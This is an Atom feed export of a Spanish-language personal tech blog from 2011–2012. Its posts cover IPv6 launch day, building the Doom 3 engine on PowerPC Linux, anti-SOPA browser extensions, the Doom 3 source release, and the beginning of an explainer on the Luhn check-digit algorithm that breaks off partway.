<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8269681088643654503</id><updated>2012-01-23T03:57:29.003-08:00</updated><category term='vulnerabilidades'/><category term='arm'/><category term='dcma'/><category term='tpm'/><category term='haiti'/><category term='gpg'/><category term='postgres'/><category term='sms'/><category term='senao'/><category term='latex'/><category term='streamripper'/><category term='vigilancia'/><category term='curiosidades'/><category term='electronica'/><category term='chrome'/><category term='bandwidth shapper'/><category term='xkcd'/><category term='lsof'/><category term='git'/><category term='ecologia'/><category term='hackspaces'/><category term='smartswitch'/><category term='spam'/><category term='rss'/><category term='turbogears'/><category term='torrent'/><category term='openvpn'/><category term='tcpcrypt'/><category term='crosscompiling'/><category term='mit'/><category term='pyrssnotify'/><category term='facebook'/><category term='ps3'/><category term='radvd'/><category term='java'/><category term='wifi'/><category term='programacion'/><category term='wireshark'/><category term='bus-pirate'/><category term='networking'/><category term='misc'/><category term='warsow'/><category term='redes neurales'/><category term='asterisk'/><category term='mips'/><category term='sim'/><category term='metal'/><category term='elastix'/><category term='dns'/><category term='activismo'/><category term='its'/><category term='ppc'/><category term='festival'/><category term='ubuntu'/><category term='psad'/><category term='avr'/><category term='jailbreak'/><category term='svn'/><category term='google'/><category term='ruby'/><category term='navegadores'/><category term='Revolution OS'/><category term='dd-wrt'/><category term='manuales'/><category term='perl'/><category term='sony'/><category term='pidgin'/><category term='GNU'/><category term='tor'/><category term='mplayer'/><category term='bullet2'/><category term='gambas'/><category term='ayuda humanitaria'/><category term='shell'/><category term='rooting'/><category term='rms'/><category term='pl3groopic'/><category term='prey'/><category term='ext4'/><category term='grub2'/><category term='qrcode'/><category term='feedparser'/><category term='tspc'/><category term='calculo'/><category term='hardware'/><category term='libvirt'/><category term='musica'/><category term='hack'/><category term='flisol'/><category term='usb'/><category term='luhn'/><category term='anonimizacion'/><category term='lldp'/><category term='adb'/><category term='smsd'/><category term='ssh'/><category term='hypervisor'/><category term='openldap'/><category term='cell'/><category term='openssh'/><category term='gps'/><category term='quake'/><category term='totem'/><category term='peliculas'/><category term='unix'/><category term='emulacion'/><category term='kernel'/><category term='vpn'/><category term='ccze'/><category term='OLPC'/><category term='criptografia'/><category term='freenet6'/><category term='gmail'/><category term='ipv6'/><category term='radios internet'/><category term='doom3'/><category term='software libre'/><category term='web'/><category term='Epica'/><category term='seguridad'/><category term='frenet6'/><category term='pluna'/><category term='how to'/><category term='acti'/><category term='open source'/><category term='ecc'/><category term='fing'/><category term='fisica'/><category term='firefox'/><category term='virtualizacion'/><category term='iphone'/><category term='vlan'/><category term='tls'/><category term='libros'/><category term='Amon Amarth'/><category term='izquierda'/><category term='grep'/><category term='DRM'/><category term='montevideolibre'/><category term='alsa'/><category term='ap'/><category term='bayes'/><category term='buenos aires'/><category term='laptop'/><category term='antel'/><category term='humor'/><category term='bittorrent'/><category term='xml'/><category term='sloccount'/><category term='google hacks'/><category term='floss'/><category term='xmpp'/><category term='mysql'/><category term='sl3054cb3'/><category term='shoutcast'/><category term='bash'/><category term='rootkit'/><category term='sopa'/><category term='XO'/><category term='jrrl'/><category term='libmpq'/><category term='android'/><category term='ACTA'/><category term='market'/><category term='openwrt'/><category term='ssl'/><category term='pdp11'/><category term='snmp'/><category term='modem 3.7G'/><category term='ciencia'/><category term='htop'/><category term='documentales'/><category term='exploit'/><category term='usbirtoy'/><category term='vram'/><category term='openfirmware'/><category term='computacion distribuida'/><category term='motion'/><category term='nautilus'/><category term='linksys rsv4000'/><category term='juegos'/><category term='GSM'/><category term='Quantica'/><category term='snmptrapd'/><category term='tts'/><category term='proxy'/><category term='honeypots'/><category term='javascript'/><category term='smartcard'/><category term='cupcake'/><category term='Opeth'/><category term='sip'/><category term='montevideo'/><category term='youtube'/><category term='medio ambiente'/><category term='plan ceibal'/><category term='andnav'/><category term='daemon'/><category term='gpl'/><category term='recursos'/><category term='powerpc'/><category term='pynotify'/><category term='joystick'/><category term='opengl'/><category term='python'/><category term='aikido'/><category term='internet'/><category term='mpd'/><category term='script'/><category term='debian'/><category term='chat'/><category term='rtorrent'/><category term='ceibaljam'/><category term='HDCP'/><category term='senstumbler'/><category term='backdoors'/><category term='facultad de ingenieria'/><category term='ingenieria social'/><category term='linux'/><category term='bloatware'/><category term='php'/><category term='nmap'/><category term='voip'/><category term='transmission'/><category term='nanotecnologia'/><category term='recuperacion de datos'/><category term='toques'/><category term='protocolos'/><category term='hipervisor'/><category term='wificamp'/><category term='matematicas'/><category term='eventos'/><category term='qemu'/><category term='algoritmos'/><category term='opensolaris'/><category term='paintball'/><category term='netcat'/><title type='text'>El blog de Darío Clavijo</title><subtitle type='html'>C75B AA81 5D8C 6CEC 5625
E1C4 A755 61F5 9504 92D4</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default?start-index=101&amp;max-results=100'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>300</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3475946029310216561</id><published>2012-01-23T03:56:00.000-08:00</published><updated>2012-01-23T03:57:29.030-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='ipv6'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Wolrd ipv6 launch day</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;a href="http://en.wikipedia.org/wiki/Internet_Protocol"&gt;IP&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/IPv6"&gt;version 6&lt;/a&gt; es la nueva&amp;nbsp;versión&amp;nbsp;del protocolo de direccionamiento de&amp;nbsp;Internet.&lt;br /&gt;El 6 de junio del corriente año se celebrara una puesta en marcha masiva de servicios que actualmente ya estaban en &lt;a href="http://en.wikipedia.org/wiki/IPv4"&gt;IP version 4&lt;/a&gt;.&lt;br /&gt;Los nuevos servicios&amp;nbsp;serán&amp;nbsp;Facebook, Google(actualmente se puede acceder a&amp;nbsp;través&amp;nbsp;de&amp;nbsp;&lt;a href="http://ipv6.google.com/"&gt;http://ipv6.google.com&lt;/a&gt;) y varios ISP entre otros... &amp;nbsp;que&lt;br /&gt;&lt;br /&gt;Para mas info pueden visitar:&amp;nbsp;&lt;a href="http://www.worldipv6launch.org/"&gt;http://www.worldipv6launch.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A nivel de cliente si quieren tener conectividad ipv6 pueden seguir estas&amp;nbsp;guías&amp;nbsp;&lt;a href="http://dclavijo.blogspot.com/2008/08/configurar-tnel-ipv6-tspc-en-linux.html"&gt;Como configurar Túnel IPv6 tspc en Linux Debian / Ubuntu&lt;/a&gt;&amp;nbsp;o &lt;a href="http://dclavijo.blogspot.com/2010/04/configurando-router-ipv6.html"&gt;Configurando Router IPv6&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: black; color: #38b63c; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 13px; line-height: 20px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="post-header-line-1"&gt;&lt;/div&gt;&lt;div class="post-body entry-content" style="line-height: 1.6em; margin-bottom: 0.75em; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3475946029310216561?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3475946029310216561/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2012/01/wolrd-ipv6-launch-day.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3475946029310216561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3475946029310216561'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2012/01/wolrd-ipv6-launch-day.html' title='Wolrd ipv6 launch day'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8986206355873859096</id><published>2011-12-28T04:13:00.000-08:00</published><updated>2011-12-28T04:21:27.731-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ppc'/><category scheme='http://www.blogger.com/atom/ns#' term='powerpc'/><category scheme='http://www.blogger.com/atom/ns#' term='doom3'/><title type='text'>Compilando el Doom3 en PPC</title><content type='html'>Anteriormente les comente que&amp;nbsp;había&amp;nbsp;sido &lt;a href="http://dclavijo.blogspot.com/2011/12/liberado-el-codigo-de-fuente-del-doom3.html"&gt;liberado el&amp;nbsp;código&amp;nbsp;de fuente del juego Doom3&lt;/a&gt;.&lt;br /&gt;Ahora tengo el agrado de comentarles como compilarlo para la arquitectura ppc,&lt;br /&gt;Para lograr compilarlo en mi PowerBookG4 con Debian6.0.3 tuve que agregarle un par de parches ya que el codigo solo estaba pensado para MacosX-PPC y no Linux-PPC&lt;br /&gt;Si bien compila y arranca el juego no es jugable dado que presenta muchos giltches de video y audio que todavia no se a que se deben.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#apt-get install scons&lt;br /&gt;#apt-get install libc6-dev libgcc1 gcc-multilib  libstdc++6 g++-multilib zlib1g-dev&lt;br /&gt;#apt-get install libopenal-dev&lt;br /&gt;#apt-get install libxxf86vm-dev&lt;br /&gt;#apt-get install libglu-dev&lt;br /&gt;#ln -s /usr/lib32/libz.a /usr/lib/libz.a&lt;/div&gt;&lt;br /&gt;Clonamos el repositorio con los parches tanto de github o de gitorious&lt;br /&gt;&lt;div class="code"&gt;$git clone https://github.com/daedalus/iodoom3.git&lt;br /&gt;$git clone&amp;nbsp;git://git.iodoom.org/iodoom3-ppc/iodoom3-ppc.git iodoom3&lt;/div&gt;&lt;br /&gt;Compilamos...&lt;br /&gt;&lt;div class="code"&gt;$cd doom3.gpl&lt;br /&gt;$cd neo&lt;br /&gt;scons --cache-populate&lt;/div&gt;&lt;br /&gt;Por ultimo ejecutamos &lt;span class="Apple-style-span" style="color: lime;"&gt;./doom.ppc&lt;/span&gt;&lt;br /&gt;&lt;div class="code"&gt;DOOM 1.3.1.1304-debug linux-ppc Dec 28 2011 09:33:06&lt;br /&gt;found interface lo - loopback&lt;br /&gt;found interface eth0 - 200.40.20.134/255.255.255.0&lt;br /&gt;found interface vboxnet0 - 192.168.56.1/255.255.255.0&lt;br /&gt;no 'base' directory in exe path /home/daedalus/code/iodoom3/neo, skipping&lt;br /&gt;WARNING: using hardcoded default base path&lt;br /&gt;------ Initializing File System ------&lt;br /&gt;Current search path:&lt;br /&gt;/home/daedalus/.doom3/base&lt;br /&gt;/usr/local/games/doom3/base&lt;br /&gt;game DLL: 0x0 in pak: 0x0&lt;br /&gt;Addon pk4s:&lt;br /&gt;file system initialized.&lt;br /&gt;--------------------------------------&lt;br /&gt;Unknown command 'vid_restart'&lt;br /&gt;idRenderSystem::Shutdown()&lt;br /&gt;Sys_Error: Couldn't load default.cfg&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Ahora estamos en condiciones de agregarle el contenido del CD y probar el juego copiando el contenido del directorio "base" a &lt;span class="Apple-style-span" style="color: lime;"&gt;$HOME/.doom3/base&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8986206355873859096?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8986206355873859096/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/12/compilando-el-doom3-en-ppc.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8986206355873859096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8986206355873859096'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/12/compilando-el-doom3-en-ppc.html' title='Compilando el Doom3 en PPC'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7545377859204258078</id><published>2011-12-26T03:13:00.000-08:00</published><updated>2011-12-26T03:13:20.838-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sopa'/><category scheme='http://www.blogger.com/atom/ns#' term='chrome'/><title type='text'>NO SOPA</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://s3.alt1040.com/files/2011/12/No-SOPA.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="250" src="http://s3.alt1040.com/files/2011/12/No-SOPA.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Después&amp;nbsp;del &lt;a href="http://alt1040.com/2011/12/caso-godaddy-5-claves-para-conseguir-el-boicot-perfecto"&gt;boicot contra Godaddy&lt;/a&gt; ahora son &lt;a href="http://alt1040.com/2011/12/estas-son-las-142-companias-que-apoyan-sopa"&gt;141 las empresas que soportan SOPA plenamente&lt;/a&gt;.&lt;br /&gt;Anteriormente les comente sobre un &lt;a href="http://dclavijo.blogspot.com/2011/12/si-no-te-gusta-la-sopa-dos-platos.html"&gt;plugin de Firefox&lt;/a&gt; que se encargaba de saltear el bloqueo de DNS de SOPA.&lt;br /&gt;Ahora se trata de una&amp;nbsp;extensión&amp;nbsp;para &lt;a href="https://www.google.com/chrome"&gt;Chrome&lt;/a&gt; que se llama &lt;a href="https://chrome.google.com/webstore/detail/gagmjmoimnkgoijihaaeodbefhcapjcj"&gt;NOSOPA&lt;/a&gt;&lt;br /&gt;Esta&amp;nbsp;extensión&amp;nbsp;se encarga de notificar al usuario con una barra superior si el sitio que estamos visitando es de alguna de las&amp;nbsp;compañías&amp;nbsp;que soportan plenamente &lt;a href="http://en.wikipedia.org/wiki/Stop_Online_Piracy_Act"&gt;SOPA&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Fuente [&lt;a href="http://alt1040.com/2011/12/no-sopa-la-extension-que-te-notifica-si-te-encuentras-en-una-pagina-que-apoya-sopa"&gt;http://alt1040.com/2011/12/no-sopa-la-extension-que-te-notifica-si-te-encuentras-en-una-pagina-que-apoya-sopa&lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7545377859204258078?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7545377859204258078/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/12/no-sopa.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7545377859204258078'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7545377859204258078'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/12/no-sopa.html' title='NO SOPA'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6196111461283197304</id><published>2011-12-21T14:07:00.000-08:00</published><updated>2011-12-21T14:07:00.168-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gpl'/><category scheme='http://www.blogger.com/atom/ns#' term='juegos'/><category scheme='http://www.blogger.com/atom/ns#' term='doom3'/><title type='text'>Liberado el codigo de fuente del Doom3</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/en/thumb/4/4e/Doom3box.jpg/250px-Doom3box.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://upload.wikimedia.org/wikipedia/en/thumb/4/4e/Doom3box.jpg/250px-Doom3box.jpg" width="273" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Me entero leyendo &lt;a href="http://softlibre.barrapunto.com/article.pl?sid=11/11/23/0615226"&gt;barrapunto&lt;/a&gt; que hace un mes atrás fue liberado el código de fuente del juego &lt;a href="http://en.wikipedia.org/wiki/Doom_3"&gt;Doom3&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Anteriormente &lt;a href="http://en.wikipedia.org/wiki/John_D._Carmack"&gt;John Carmack&lt;/a&gt; había prometido hacerlo pero por problemas de patentes con el &lt;a href="http://en.wikipedia.org/wiki/Carmack%27s_Reverse"&gt;algoritmo de Sombras Volumétricas que creo John Carmack bajo el nombre Carmack Reverse&lt;/a&gt; y que por similitudes con el código patentado por Creative Labs, &lt;a href="http://www.idsoftware.com/"&gt;id software&lt;/a&gt; se vio obligado a comprar una licencia de la biblioteca &lt;a href="http://en.wikipedia.org/wiki/Environmental_Audio_Extensions"&gt;EAX&lt;/a&gt; e incluirla en el juego.&lt;br /&gt;&lt;br /&gt;Así que ahora: &lt;a href="https://github.com/TTimo/doom3.gpl"&gt;el código fuente de Doom 3 ya está publicado&lt;/a&gt;, y es &lt;a href="https://github.com/TTimo/doom3.gpl/blob/master/COPYING.txt"&gt;software libre bajo la GPL, versión 3&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Pero lo único que es libre es el código del motor, y no los datos (niveles, gráficos, sonidos, músicas), que siguen siendo propietarios.  cosa que me importa poco ya que como en contribuciones anteriores nacieron proyectos como &lt;a href="http://tremulous.net/"&gt;Tremulous&lt;/a&gt;, &lt;a href="http://openarena.ws/smfnews.php"&gt;OpenArena&lt;/a&gt; y &lt;a href="http://www.urbanterror.info/"&gt;UrbanTerror&lt;/a&gt; ahora hay que esperar y ver que se viene...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6196111461283197304?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6196111461283197304/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/12/liberado-el-codigo-de-fuente-del-doom3.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6196111461283197304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6196111461283197304'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/12/liberado-el-codigo-de-fuente-del-doom3.html' title='Liberado el codigo de fuente del Doom3'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7369919543990103335</id><published>2011-12-21T03:54:00.000-08:00</published><updated>2011-12-21T03:58:20.841-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='sopa'/><title type='text'>Si no te gusta la Sopa dos platos!</title><content type='html'>Hoy todo el mundo esta hablando de &lt;a href="http://en.wikipedia.org/wiki/Stop_Online_Piracy_Act"&gt;SOPA&lt;/a&gt; (Stop Online Piracy Act) la ley draconiana y de censura que se esta por aprobar en el Congreso de los Estados Unidos la cual se teme que&amp;nbsp;&lt;a href="http://alt1040.com/2011/12/no-rompan-internet-piden-abogados-desde-stanford"&gt;podría&amp;nbsp;acabar&amp;nbsp;con el&amp;nbsp;Internet&amp;nbsp;que conocemos en nuestros&amp;nbsp;días&lt;/a&gt; y que amenaza la &lt;a href="http://alt1040.com/2011/11/business-software-alliance-sobre-sopa-libertad-de-expresion-y-privacidad-son-derechos-que-no-pueden-comprometerse"&gt;libertad de&amp;nbsp;expresión&lt;/a&gt;.&lt;br /&gt;Esta ley&amp;nbsp;permitirá&amp;nbsp;al departamento de Justicia de los Estados Unidos y a los que mantengan copyrights el poder levantar ordenes judiciales en contra de sitios acusados de facilitar el&amp;nbsp;infracción&amp;nbsp;de copyrights o "piratería".&lt;br /&gt;Esta ley abarca la&amp;nbsp;eliminación&amp;nbsp;de los registros &lt;a href="http://en.wikipedia.org/wiki/Domain_Name_System"&gt;DNS&lt;/a&gt;, el bloqueo de medios financieros como &lt;a href="http://paypal.com/"&gt;paypal&lt;/a&gt; y el derecho de exigir a los motores de&amp;nbsp;búsqueda&amp;nbsp;el bloqueo del sitio infractor.&lt;br /&gt;Pero hecha la ley hecha la trampa:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/desopa/"&gt;DeSopa&lt;/a&gt; es un plugin que permite a &lt;a href="http://www.mozilla.org/en-US/firefox/new/"&gt;Firefox&lt;/a&gt; la circumvencion del bloqueo de &lt;a href="http://en.wikipedia.org/wiki/Domain_Name_System"&gt;DNS&lt;/a&gt; utilizando servidores &lt;a href="http://en.wikipedia.org/wiki/Domain_Name_System"&gt;DNS&lt;/a&gt; extranjeros.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7369919543990103335?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7369919543990103335/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/12/si-no-te-gusta-la-sopa-dos-platos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7369919543990103335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7369919543990103335'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/12/si-no-te-gusta-la-sopa-dos-platos.html' title='Si no te gusta la Sopa dos platos!'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1805297205679961635</id><published>2011-12-12T16:16:00.000-08:00</published><updated>2011-12-12T16:26:40.194-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='algoritmos'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='luhn'/><title type='text'>Anatomia del algoritmo de Luhn</title><content type='html'>&lt;span class="Apple-style-span" style="color: red;"&gt;ATENCION: Los fines de este post son solo educativos no me hago responsable por su&amp;nbsp;utilización.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El algoritmo de &lt;a href="http://en.wikipedia.org/wiki/Luhn_algorithm"&gt;Luhn&lt;/a&gt; desarrollado por &lt;a href="http://en.wikipedia.org/wiki/Hans_Peter_Luhn"&gt;Hans Peter Luhn&lt;/a&gt; es un algoritmo que se encuentra en el dominio publico.&lt;br /&gt;Permite verificar la validez de un numero y distinguir o discriminar un conjunto de&amp;nbsp;números "validos" de otro conjunto al azar.&lt;br /&gt;Su utilizad reside en que permite la corrección de errores debidos a la mala&amp;nbsp;transcripción&amp;nbsp;de estos numeros.&lt;br /&gt;Se aplico extensamente para verificar tanto números de tarjeta de crédito como los&amp;nbsp;números&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/IMEI"&gt;IMEI&lt;/a&gt;.&lt;br /&gt;Se puede aprender en no mas de 5 minutos.&lt;br /&gt;No es un algoritmo criptográfico seguro, lo cual lo hace vulnerable a ataques.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Veamos el algoritmo:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;El primer dígito de la tarjeta es el "&lt;b&gt;dígito mayor identificador industrial&lt;/b&gt;" o &lt;b&gt;Rubro&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Ej:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;1 y 2 son compañias aéreas&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;3 Viajes y entretenimiento&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;4 y 5 Bancos y Financieras&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;6 Marcado y Bancos&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;7 Petróleo&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;8 Telecomunicaciones&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;9 Asignación Nacional&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Los primeros 6 dígitos componen el numero de la &lt;b&gt;institución emisora&lt;/b&gt; del numero.&lt;br /&gt;Ej:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Visa: 4xxxxx&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Mastercard: 51xxxx - 55xxxx&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Discover: 6011xx - 644xxx  - 65xxxx  &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Amex: 34xxxx - 37xxxx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Los siguientes digitos que pueden variar entre 9 y 12 dígitos dependen de la tarjeta y son identificadores de la cuenta personal.&lt;br /&gt;&lt;br /&gt;El ultimo dígito es el &lt;b&gt;verificador&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Forma facil:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Supongamos que el numero de tarjeta sea:&lt;span class="Apple-style-span" style="color: lime;"&gt; 4417 1234 5678 911&lt;b&gt;3&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El algoritmo es el siguiente: se recorren de izquierda a derecha 